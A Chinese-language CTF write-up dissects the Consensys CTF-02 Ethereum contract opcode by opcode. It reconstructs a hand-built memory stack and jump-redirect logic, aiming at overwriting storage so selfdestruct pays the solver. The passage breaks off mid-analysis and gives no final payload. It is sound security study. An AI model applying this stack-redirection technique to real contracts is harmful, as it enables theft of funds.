这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。:smiley:
Consensys CTF-02 栈溢出重定向利用
基于samczsun的解析文章学习
本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。谢绝转载!!!
不允许未经本人同意转载,本文为原创文章
这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。这个CTF中跟上篇文章一样也是没有公开源码,甚至于现在Etherscan上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87 。本CTF的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的ETH。是不是听起来很简单呢?:smile:
:point_right: 首先是借助于工具,拿到该合约的bytecode码,和机器翻译的solidity代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87
从工具上可以看到,存在5个公开的函数,和两个全局变量:get
占据slot0 和 die
占据slot1。
die()
function die() public payable {
require(msg.sender == _die);
selfdestruct(_die);
}
可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die
即可通过selfdestruct(_dit)
拿到所有的ETH,从而解答该题。看起来好像很简单的样子哦:laughing:
get()
function get() public {
require(msg.sender != _get);
return _get;
}
这个get函数应该是用来返回slot0的值的,看起来也很简单:smiley:
set(uint256 varg0)
function set(uint256 varg0) public payable {
0xe8();
v0, v1 = 0xb4();
MEM[MEM[256] + 32] = 836;
MEM[MEM[256] + 32 + 32] = varg0;
MEM[MEM[256] + 32 + 32 + 32] = 0;
STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];
MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;
MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32];
}
如果仅仅看翻译过来的solidity
代码,可以看到有一个给STORAGE
赋值的操作,也许我们可以利用它,来将我们的msg.sender
地址赋值给到die
中
在这里,我们需要分析下OPCODE代码,来接触到本题的核心——手动构建的栈
这里我们将逐行手动标记OPCODE的执行栈空间,来分析该set(uint256)
函数. 函数签名为:60fe47b1
首先是函数选择器部分
0x0: PUSH3 0x100000 0x10000
0x4: PUSH1 0x40 0x10000 0x40
0x6: MSTORE
0x7: PUSH1 0x4 0x4
0x9: CALLDATASIZE 0x24
0xa: LT 0x0
0xb: PUSH2 0x68 0x0 0x68
0xe: JUMPI
0xf: PUSH1 0x0 0x0
0x11: CALLDATALOAD 0x60fe47b1...
0x12: PUSH29 0x100000000000000000000000000000000000000000000000000000000 0x60fe47b1... 0x100...
0x30: SWAP1 0x100.. 0x60fe47b1...
0x31: DIV 0x60fe47b1
0x32: PUSH4 0xffffffff 0x60fe47b1 0xffffffff
0x37: AND 0x60fe47b1
0x38: DUP1 0x60fe47b1 0x60fe47b1
0x39: PUSH4 0x7909947a
0x3e: EQ
0x3f: PUSH2 0x23a
0x42: JUMPI
0x43: DUP1
0x44: PUSH4 0x60fe47b1 0x60fe47b1 0x60fe47b1 0x60fe47b1
0x49: EQ 0x60fe47b1 0x1
0x4a: PUSH2 0x30f 0x60fe47b1 0x1 0x30f
0x4d: JUMPI 0x60fe47b1
函数选择器首先是拿到了函数签名,然后与合约中public,external的函数签名进行比对,EQ返回1后,再跳转到对应的函数wrapper中。下面我们看线函数包装器中是怎么样的逻辑
这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图
再没有具体跳进去看每一个函数前,假设函数不影响栈结构
0x30f: JUMPDEST 0x60fe47b1
0x310: PUSH2 0x317 0x60fe47b1 0x317
0x313: PUSH2 0xe8 0x60fe47b1 0x317 0xe8
0x316: JUMP 0x60fe47b1 0x317
0x317: JUMPDEST 0x60fe47b1
0x318: PUSH2 0x31f 0x60fe47b1 0x31f
0x31b: PUSH2 0xb4 0x60fe47b1 0x31f 0xb4
0x31e: JUMP 0x60fe47b1 0x31f
0x31f: JUMPDEST 0x60fe47b1
0x320: PUSH2 0x32a 0x60fe47b1 0x32a
0x323: PUSH2 0x344 0x60fe47b1 0x32a 0x344
0x326: PUSH2 0x8c 0x60fe47b1 0x32a 0x344 0x8c
0x329: JUMP 0x60fe47b1 0x32a 0x344
0x32a: JUMPDEST 0x60fe47b1
0x32b: PUSH2 0x335 0x60fe47b1 0x335
0x32e: PUSH1 0x4 0x60fe47b1 0x335 0x4
0x330: CALLDATALOAD 0x60fe47b1 0x335 Id[4:36]
0x331: PUSH2 0x8c 0x60fe47b1 0x335 Id[4:36] 0x8c
0x334: JUMP 0x60fe47b1 0x335 Id[4:36]
0x335: JUMPDEST 0x60fe47b1
0x336: PUSH2 0x33f 0x60fe47b1 0x33f
0x339: PUSH1 0x0 0x60fe47b1 0x33f 0x0
0x33b: PUSH2 0x8c 0x60fe47b1 0x33f 0x0 0x8c
0x33e: JUMP 0x60fe47b1 0x33f 0x0
0x33f: JUMPDEST 0x60fe47b1
0x340: PUSH2 0x2ea 0x60fe47b1 0x2ea
0x343: JUMP 0x60fe47b1
0x344: JUMPDEST 0x60fe47b1
0x345: PUSH1 0x0
0x347: PUSH1 0x0
0x349: RETURN
=> 翻译一下
function set(uint256 value) public nonPayable{
push_stack_frame();
uint redirectTo = 0x344;
push_stack(redirectTo);
uint256 newStackPointer;
assembly{
newStackPointer := calldataload(0x04)
}
push_stack(newStackPointer);
push_stack(0x00);
set_impl();
}
classDiagram
start --|> 0xe8
0xe8 --|> 0xb4
0xb4 --|> 0x8c_0x344
0x8c_0x344 --|> 0x8c_CALLDATALOAD
0x8c_CALLDATALOAD --|> 0x8c_0x00
0x8c_0x00 --|> 0x2ea
class start {
0x30f JUMDEST
}
class 0x8c_0x344{
0x329 IN
0x32A OUT
}
class 0x8c_CALLDATALOAD{
0x331 IN
0x335 OUT
}
class 0x8c_0x00{
0x33E IN
0x33F OUT
}
class 0xb4{
0x31E IN
0x31F OUT
}
class 0xe8{
0x316 IN
0x317 OUT
}
class 0x2ea{
0x343 IN
}
拿到函数wrapper时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。
首先是0x30f为进入点,先调用0xe8, 然后返回到0x317, 再依次调用0xb4, 返回到0x31f, 再调用0x8c, 带参数0x344,返回到0x32a, 在调用一次0x8c, 带参数为CALLDATALOAD(0x4), 返回到0x335, 再调用0x8c, 带参数0x0, 返回到0x33f, 然后调用0x2ea函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:
简单说是判断该函数是否是Payable,如果不是Payable, 则如果函数调用时传送了ETH,流程就会回退。
0xe8: JUMPDEST 0x60fe47b1 0x317
0xe9: CALLVALUE 0x60fe47b1 0x317 0x0
0xea: ISZERO 0x60fe47b1 0x317 0x01
0xeb: PUSH2 0xc1 0x60fe47b1 0x317 0x01 0xc1
0xee: JUMPI 0x60fe47b1 0x317
0xc1: JUMPDEST 0x60fe47b1 0x317
0xc2: JUMP 0x60fe47b1
=> 翻译成solidity
modifier nonPayable() {
require(msg.value == 0);
_;
}
可以看到其在内部调用了0x8c, 然后返回到0xbf处. 简单说作用是把当前内存地址为100的值放入手动构建的栈里
0xb4: JUMPDEST 0x60fe47b1 0x31f
0xb5: PUSH2 0xbf 0x60fe47b1 0x31f 0xbf
0xb8: PUSH2 0x100 0x60fe47b1 0x31f 0xbf 0x100
0xbb: MLOAD 0x60fe47b1 0x31f 0xbf M[100]
0xbc: PUSH2 0x8c 0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xbf: JUMPDEST 0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xc0: JUMP 0x60fe47b1 0x31f 0xbf M[100]
此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下:
0xbf: JUMPDEST 0x60fe47b1 0x31f
0xc0: JUMP 0x60fe47b1
=> 翻译成solidity
function push_stack_frame() private {
uint256 value;
assembly{
value := mload(0x100)
}
push_stack(value)
}
从上面的分析可以看出,该函数有一个参数,返回值为0. 简单来讲是再内存中手动构建一个栈,每次push一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是32位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。
0x8c: JUMPDEST 0x60fe47b1 backpointer value
0x8d: PUSH1 0x20 0x60fe47b1 backpointer value 0x20
0x8f: PUSH2 0x100 0x60fe47b1 backpointer value 0x20 0x100
0x92: MLOAD 0x60fe47b1 backpointer value 0x20 M[100]
0x93: ADD 0x60fe47b1 backpointer value M[100]+0x20
0x94: DUP1 0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20
0x95: PUSH2 0x100 0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100
0x98: MSTORE 0x60fe47b1 backpointer value M[100]+0x20
0x99: MSTORE 0x60fe47b1 backpointer
0x9a: JUMP 0x60fe47b1
=> 翻译一下
function push_stack(uint256 value) private {
uint temp;
assembly{
temp := mload(0x100)
mstore(add(temp, 0x20), value)
mstore(0x100, add(temp, 0x20))
}
}
这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``:
SSTORE
, 这是我们最关心的。因为我们需要更改slot1的值,以便于获取该合约的所有Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测0x9b不需要参数,但返回1个值到栈里,0xc3也不需要参数
0x2ea: JUMPDEST 0x60fe47b1
0x2eb: PUSH1 0x20 0x60fe47b1 0x20
0x2ed: PUSH2 0x100 0x60fe47b1 0x20 0x100
0x2f0: MLOAD 0x60fe47b1 0x20 M[100]
0x2f1: SUB 0x60fe47b1 M[100]-0x20
0x2f2: MLOAD 0x60fe47b1 M[M[100]-0x20]
0x2f3: PUSH2 0x100 0x60fe47b1 M[M[100]-0x20] 0x100
0x2f6: MLOAD 0x60fe47b1 M[M[100]-0x20] M[100]
0x2f7: MLOAD 0x60fe47b1 M[M[100]-0x20] M[M[100]]
0x2f8: SSTORE 0x60fe47b1
0x2f9: PUSH2 0x300 0x60fe47b1 0x300
0x2fc: PUSH2 0x9b 0x60fe47b1 0x300 0x9b
0x2ff: JUMP 0x60fe47b1 0x300
0x300: JUMPDEST 0x60fe47b1 returnValue
0x301: POP 0x60fe47b1
0x302: PUSH2 0x309 0x60fe47b1 0x309
0x305: PUSH2 0x9b 0x60fe47b1 0x309 0x9b
0x308: JUMP 0x60fe47b1 0x309
0x309: JUMPDEST 0x60fe47b1 returnValue
0x30a: POP 0x60fe47b1
0x30b: PUSH2 0xc3 0x60fe47b1 0xc3
0x30e: JUMP 0x60fe47b1
=> 翻译一下
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
:duck: 先整体理解下0x2ea, 它主要将栈顶的值作为键,将栈里第1个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的Frame。
简单看是拿到栈顶的元素,然后将栈的指针向下移动0x20
0x9b: JUMPDEST 0x60fe47b1 backpointer
0x9c: PUSH2 0x100 0x60fe47b1 backpointer 0x100
0x9f: MLOAD 0x60fe47b1 backpointer M[100]
0xa0: MLOAD 0x60fe47b1 backpointer M[M[100]]
0xa1: PUSH1 0x20 0x60fe47b1 backpointer M[M[100]] 0x20
0xa3: PUSH2 0x100 0x60fe47b1 backpointer M[M[100]] 0x20 0x100
0xa6: MLOAD 0x60fe47b1 backpointer M[M[100]] 0x20 M[100]
0xa7: SUB 0x60fe47b1 backpointer M[M[100]] M[100]-0x20
0xa8: PUSH2 0x100 0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100
0xab: MSTORE 0x60fe47b1 backpointer M[M[100]]
0xac: SWAP1 0x60fe47b1 M[M[100]] backpointer
0xad: JUMP 0x60fe47b1 M[M[100]]
=> 翻译一下
function pop_stack() private returns (uint256) {
uint value;
uint temp;
assembly{
temp := mload(0x100)
value := mload(temp)
mstore(0x100, sub(temp, 0x20))
}
return value;
}
可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的STACK的内存起点
0xc3: JUMPDEST 0x60fe47b1
0xc4: PUSH2 0xcb 0x60fe47b1 0xcb
0xc7: PUSH2 0x9b 0x60fe47b1 0xcb 0x9b
0xca: JUMP 0x60fe47b1 0xcb
0xcb: JUMPDEST 0x60fe47b1 returnValue
0xcc: PUSH2 0xd3 0x60fe47b1 returnValue 0xd3
0xcf: PUSH2 0x9b 0x60fe47b1 returnValue 0xd3 0x9b
0xd2: JUMP 0x60fe47b1 returnValue 0xd3
0xd3: JUMPDEST 0x60fe47b1 returnValue returnValue2
0xd4: PUSH2 0xdc 0x60fe47b1 returnValue returnValue2 0xdc
0xd7: SWAP1 0x60fe47b1 returnValue 0xdc returnValue2
0xd8: PUSH2 0xae 0x60fe47b1 returnValue 0xdc returnValue2 0xae
0xdb: JUMP 0x60fe47b1 returnValue 0xdc returnValue2
0xdc: JUMPDEST 0x60fe47b1 returnValue
0xdd: JUMP 0x60fe47b1 J(returnValue)
0xde: JUMPDEST
=> 翻译一下
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
assembly {
jump(redirectTo)
}
}
这个函数很简单,就是把它的参数赋值到M[100]中,但意义很重大,意义是定义新的STACK的内存起点。因为STack的内存起点就是M[100]
0xae: JUMPDEST 0x60fe47b1 returnValue 0xdc returnValue2
0xaf: PUSH2 0x100 0x60fe47b1 returnValue 0xdc returnValue2 0x100
0xb2: MSTORE 0x60fe47b1 returnValue 0xdc
0xb3: JUMP 0x60fe47b1 returnValue
=> 翻译一下
function newStackPointer(uint256 pointer) {
assembly{
mstore(0x100, pointer)
}
}
:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)
函数到底干了什么
function set(uint256 value) public nonPayable{
push_stack_frame();
uint redirectTo = 0x344;
push_stack(redirectTo);
push_stack(value);
push_stack(0x00);
set_impl();
}
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
assembly {
jump(redirectTo)
}
}
label redirectTo:
0x344: JUMPDEST
0x345: PUSH1 0x0
0x347: PUSH1 0x0
0x349: RETURN
=> 翻译一下
function set(uint256 value) public nonPayable {
assembly{
sstore(0x00, value)
}
}
:rainbow_flag: 该函数首先是把frame压到栈里,再压入后面的redirectTo重定向位点压入栈里,再压入栈顶指针,再压入0x00,后面将栈顶的值作为key,栈里顺序1的元素作为值写到以太坊中。之后弹出栈顶0x00, 弹出栈顶指针,弹出重定向位点,并保存到redirecTo变量中,再弹出frame,并把frame作为新的栈顶指针创建新的栈,最后跳转到重定向位点。
可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:
0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d
0x23a: JUMPDEST 0x7909947a
0x23b: PUSH2 0x242 0x7909947a 0x242
0x23e: PUSH2 0xde 0x7909947a 0x242
0x241: JUMP 0x7909947a 0x242
0x242: JUMPDEST 0x7909947a
0x243: PUSH2 0x24c 0x7909947a 0x24c
0x246: PUSH1 0x0 0x7909947a 0x24c 0x0
0x248: PUSH2 0x8c 0x7909947a 0x24c 0x0 0x8c
0x24b: JUMP 0x7909947a 0x24c 0x0
0x24c: JUMPDEST 0x7909947a
0x24d: PUSH2 0x100 0x7909947a 0x100
0x250: MLOAD 0x7909947a M[100]
0x251: PUSH2 0x25a 0x7909947a M[100] 0x25a
0x254: PUSH1 0x0 0x7909947a M[100] 0x25a 0x0
0x256: PUSH2 0x8c 0x7909947a M[100] 0x25a 0x0 0x8c
0x259: JUMP 0x7909947a M[100] 0x25a 0x0
0x25a: JUMPDEST 0x7909947a M[100]
0x25b: CALLDATASIZE 0x7909947a M[100] size
0x25c: PUSH1 0x44 0x7909947a M[100] size 0x44
0x25e: PUSH3 0x90000 0x7909947a M[100] size 0x44 0x90000
0x262: CALLDATACOPY 0x7909947a M[100]
0x263: PUSH2 0x26a 0x7909947a M[100] 0x26a
0x266: PUSH2 0xb4 0x7909947a M[100] 0x26a 0xb4
0x269: JUMP 0x7909947a M[100] 0x26a
0x26a: JUMPDEST 0x7909947a M[100]
0x26b: PUSH2 0x275 0x7909947a M[100] 0x275
0x26e: PUSH2 0x29b 0x7909947a M[100] 0x275 0x29b
0x271: PUSH2 0x8c 0x7909947a M[100] 0x275 0x29b 0x8c
0x274: JUMP 0x7909947a M[100] 0x275 0x29b
0x275: JUMPDEST 0x7909947a M[100]
0x276: PUSH2 0x281 0x7909947a M[100] 0x281
0x279: PUSH3 0x90000 0x7909947a M[100] 0x281 0x90000
0x27d: PUSH2 0x8c 0x7909947a M[100] 0x281 0x90000 0x8c
0x280: JUMP 0x7909947a M[100] 0x281 0x90000
0x281: JUMPDEST 0x7909947a M[100]
0x282: PUSH2 0x28a 0x7909947a M[100] 0x28a
0x285: DUP2 0x7909947a M[100] 0x28a topPointer
0x286: PUSH2 0x8c 0x7909947a M[100] 0x28a topPointer 0x8c
0x289: JUMP 0x7909947a M[100] 0x28a 0x28a
0x28a: JUMPDEST 0x7909947a M[100]
0x28b: PUSH2 0x296 0x7909947a M[100] 0x296
0x28e: PUSH1 0x44 0x7909947a M[100] 0x296 0x44
0x290: CALLDATASIZE 0x7909947a M[100] 0x296 0x44 size
0x291: SUB 0x7909947a M[100] 0x296 size-0x44
0x292: PUSH2 0x8c 0x7909947a M[100] 0x296 size-0x44 0x8c
0x295: JUMP 0x7909947a M[100] 0x296 size-0x44
0x296: JUMPDEST 0x7909947a M[100]
0x297: PUSH2 0x15d 0x7909947a M[100] 0x15d
0x29a: JUMP 0x7909947a M[100]
0x29b: JUMPDEST 0x7909947a M[100]
0x29c: PUSH2 0x2a3 0x7909947a M[100] 0x2a3
0x29f: PUSH2 0xb4 0x7909947a M[100] 0x2a3 0xb4
0x2a2: JUMP 0x7909947a M[100] 0x2a3
0x2a3: JUMPDEST 0x7909947a M[100]
0x2a4: PUSH2 0x2ae 0x7909947a M[100] 0x2ae
0x2a7: PUSH2 0x2bc 0x7909947a M[100] 0x2ae 0x2bc
0x2aa: PUSH2 0x8c 0x7909947a M[100] 0x2ae 0x2bc 0x8c
0x2ad: JUMP 0x7909947a M[100] 0x2ae 0x2bc
0x2ae: JUMPDEST 0x7909947a M[100]
0x2af: PUSH2 0x2b7 0x7909947a M[100] 0x2b7
0x2b2: DUP2 0x7909947a M[100] 0x2b7 0x2b7
0x2b3: PUSH2 0x8c 0x7909947a M[100] 0x2b7 0x2b7 0x8c
0x2b6: JUMP 0x7909947a M[100] 0x2b7 0x2b7
0x2b7: JUMPDEST 0x7909947a M[100]
0x2b8: PUSH2 0xf3 0x7909947a M[100] 0xf3
0x2bb: JUMP 0x7909947a M[100]
=> 翻译一下
function 0x7909947a() public {
stack_pointer_init();
push_stack(0x0);
uint topPointer;
assembly{
topPointer := mload(0x100)
}
push_stack(0x0);
uint size;
assembly {
size := calldatasize()
calldatacopy(0x90000, 0x44, size)
}
push_stack_frame();
uint return_pointer = 0x29b;
push_stack(return_pointer);
push_stack(0x90000);
push_stack(topPointer);
push_stack(size-0x44);
0x7909947a_impl();
}
0xde
这里给0xde取名叫stack_pointer_init()
,原因很简单,因为其作用是初始化内存地址100的值为固定值0x100. 其实作用是初始化内存栈的栈顶。
0xde: JUMPDEST 0x7909947a backPointer
0xdf: PUSH2 0xe6 0x7909947a backPointer 0xe6
0xe2: PUSH2 0x7c 0x7909947a backPointer 0xe6 0x7c
0xe5: JUMP 0x7909947a backPointer 0xe6
0xe6: JUMPDEST 0x7909947a backPointer
0xe7: JUMP 0x7909947a
0x7c: JUMPDEST 0x7909947a backPointer 0xe6
0x7d: PUSH2 0x100 0x7909947a backPointer 0xe6 0x100
0x80: PUSH2 0x100 0x7909947a backPointer 0xe6 0x100 0x100
0x83: MSTORE 0x7909947a backPointer 0xe6
0x84: JUMP 0x7909947a backPointer
=> 翻译一下
function stack_pointer_init() private {
assembly{
mstore(0x100, 0x100)
}
}
分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce跳出循环) -> 0x1e0(循环,0x211跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3
0x15d: JUMPDEST 0x7909947a framePointer
0x15e: PUSH2 0x167 0x7909947a framePointer 0x167
0x161: PUSH1 0x0 0x7909947a framePointer 0x167 0x0
0x163: PUSH2 0x8c 0x7909947a framePointer 0x167 0x0 0x8c
0x166: JUMP 0x7909947a framePointer 0x167 0x0
0x167: JUMPDEST 0x7909947a framePointer
0x168: JUMPDEST
0x169: PUSH1 0x20 0x7909947a framePointer 0x20
0x16b: PUSH2 0x100 0x7909947a framePointer 0x20 0x100
0x16e: MLOAD 0x7909947a framePointer 0x20 M[100]
0x16f: SUB 0x7909947a framePointer M[100]-0x20
0x170: MLOAD 0x7909947a framePointer M[M[100]-0x20]
0x171: PUSH2 0x100 0x7909947a framePointer M[M[100]-0x20] 0x100
0x174: MLOAD 0x7909947a framePointer M[M[100]-0x20] M[100]
0x175: MLOAD 0x7909947a framePointer M[M[100]-0x20] M[M[100]]
0x176: SUB 0x7909947a framePointer M[M[100]]-M[M[100]-0x20]
0x177: ISZERO 0x7909947a framePointer nonZero
0x178: PUSH2 0x1ce 0x7909947a framePointer nonZero 0x1ce
0x17b: JUMPI 0x7909947a framePointer
0x17c: PUSH32 0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10..
0x19d: PUSH2 0x100 0x7909947a framePointer 0x10.. 0x100
0x1a0: MLOAD 0x7909947a framePointer 0x10.. M[100]
0x1a1: MLOAD 0x7909947a framePointer 0x10.. M[M[100]]
0x1a2: PUSH1 0x60 0x7909947a framePointer 0x10.. M[M[100]] 0x60
0x1a4: PUSH2 0x100 0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100
0x1a7: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100]
0x1a8: SUB 0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60
0x1a9: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60]
0x1aa: ADD 0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60]
0x1ab: MLOAD 0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]]
0x1ac: DIV 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10..
0x1ad: PUSH2 0x100 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100
0x1b0: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100]
0x1b1: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]
0x1b2: PUSH1 0x40 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40
0x1b4: PUSH2 0x100 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100
0x1b7: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100]
0x1b8: SUB 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40
0x1b9: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40]
0x1ba: ADD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40]
0x1bb: MSTORE8 0x7909947a framePointer
0x1bc: JUMPDEST 0x7909947a framePointer
0x1bd: PUSH1 0x1 0x7909947a framePointer 0x1
0x1bf: PUSH2 0x100 0x7909947a framePointer 0x1 0x100
0x1c2: MLOAD 0x7909947a framePointer 0x1 M[100]
0x1c3: MLOAD 0x7909947a framePointer 0x1 M[M[100]]
0x1c4: ADD 0x7909947a framePointer 0x1+M[M[100]]
0x1c5: PUSH2 0x100 0x7909947a framePointer 0x1+M[M[100]] 0x100
0x1c8: MLOAD 0x7909947a framePointer 0x1+M[M[100]] M[100]
0x1c9: MSTORE 0x7909947a framePointer
0x1ca: PUSH2 0x168 0x7909947a framePointer 0x168
0x1cd: JUMP 0x7909947a framePointer
0x1ce: JUMPDEST 0x7909947a framePointer
0x1cf: PUSH1 0x0 0x7909947a framePointer 0x0
0x1d1: PUSH2 0x100 0x7909947a framePointer 0x0 0x100
0x1d4: MLOAD 0x7909947a framePointer 0x0 M[100]
0x1d5: MLOAD 0x7909947a framePointer 0x0 M[M[100]]
0x1d6: PUSH1 0x40 0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1d8: PUSH2 0x100 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1db: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1dc: SUB 0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1dd: MLOAD 0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1de: ADD 0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1df: MSTORE8 0x7909947a framePointer
0x1e0: JUMPDEST 0x7909947a framePointer
0x1e1: PUSH1 0x40 0x7909947a framePointer 0x40
0x1e3: PUSH2 0x100 0x7909947a framePointer 0x40 0x100
0x1e6: MLOAD 0x7909947a framePointer 0x40 M[100]
0x1e7: MLOAD 0x7909947a framePointer 0x40 M[M[100]]
0x1e8: MOD 0x7909947a framePointer M[M[100]]%0x40
0x1e9: ISZERO 0x7909947a framePointer nonZero
0x1ea: PUSH2 0x211 0x7909947a framePointer nonZero 0x211
0x1ed: JUMPI 0x7909947a framePointer
0x1ee: PUSH1 0x0 0x7909947a framePointer 0x0
0x1f0: PUSH2 0x100 0x7909947a framePointer 0x0 0x100
0x1f3: MLOAD 0x7909947a framePointer 0x0 M[100]
0x1f4: MLOAD 0x7909947a framePointer 0x0 M[M[100]]
0x1f5: PUSH1 0x40 0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1f7: PUSH2 0x100 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1fa: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1fb: SUB 0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1fc: MLOAD 0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1fd: ADD 0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1fe: MSTORE8 0x7909947a framePointer
0x1ff: JUMPDEST 0x7909947a framePointer
0x200: PUSH1 0x1 0x7909947a framePointer 0x1
0x202: PUSH2 0x100 0x7909947a framePointer 0x1 0x100
0x205: MLOAD 0x7909947a framePointer 0x1 M[100]
0x206: MLOAD 0x7909947a framePointer 0x1 M[M[100]]
0x207: ADD 0x7909947a framePointer 0x1+M[M[100]]
0x208: PUSH2 0x100 0x7909947a framePointer 0x1+M[M[100]] 0x100
0x20b: MLOAD 0x7909947a framePointer 0x1+M[M[100]] M[100]
0x20c: MSTORE 0x7909947a framePointer
0x20d: PUSH2 0x1e0 0x7909947a framePointer 0x1e0
0x210: JUMP 0x7909947a framePointer
0x211: JUMPDEST 0x7909947a framePointer
0x212: PUSH2 0x219 0x7909947a framePointer 0x219
0x215: PUSH2 0x9b 00x7909947a framePointer 0x219 0x9b
0x218: JUMP 0x7909947a framePointer 0x219
0x219: JUMPDEST 0x7909947a framePointer returnValue
0x21a: POP 0x7909947a framePointer
0x21b: PUSH2 0x222 0x7909947a framePointer 0x222
0x21e: PUSH2 0x9b 0x7909947a framePointer 0x222 0x9b
0x221: JUMP 0x7909947a framePointer 0x222
0x222: JUMPDEST 0x7909947a framePointer returnValue2
0x223: POP 0x7909947a framePointer
0x224: PUSH2 0x22b 0x7909947a framePointer 0x22b
0x227: PUSH2 0x9b 0x7909947a framePointer 0x22b 0x9b
0x22a: JUMP 0x7909947a framePointer 0x22b
0x22b: JUMPDEST 0x7909947a framePointer returnValue3
0x22c: POP 0x7909947a framePointer
0x22d: PUSH2 0x234 0x7909947a framePointer 0x234
0x230: PUSH2 0x9b 0x7909947a framePointer 0x234 0x9b
0x233: JUMP 0x7909947a framePointer 0x234
0x234: JUMPDEST 0x7909947a framePointer returnValue3
0x235: POP 0x7909947a framePointer
0x236: PUSH2 0xc3 0x7909947a framePointer 0xc3
0x239: JUMP 0x7909947a framePointer
=> 翻译一下
function 0x7909947a_impl() public {
push_stack(0x0);
copy_data();
uint temp = get_stack(0) + get_stack(2);
assembly{
mstore(temp, 0x00)
}
pad_data();
pop_stack();
pop_stack();
pop_stack();
pop_stack();
pop_stack_frame();
}
function pad_data() private {
while (get_stack(0) % 0x40 != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
assembly {
mstore(temp0+temp2, 0x00)
mstore(mload(0x100), add(temp0, 0x01))
}
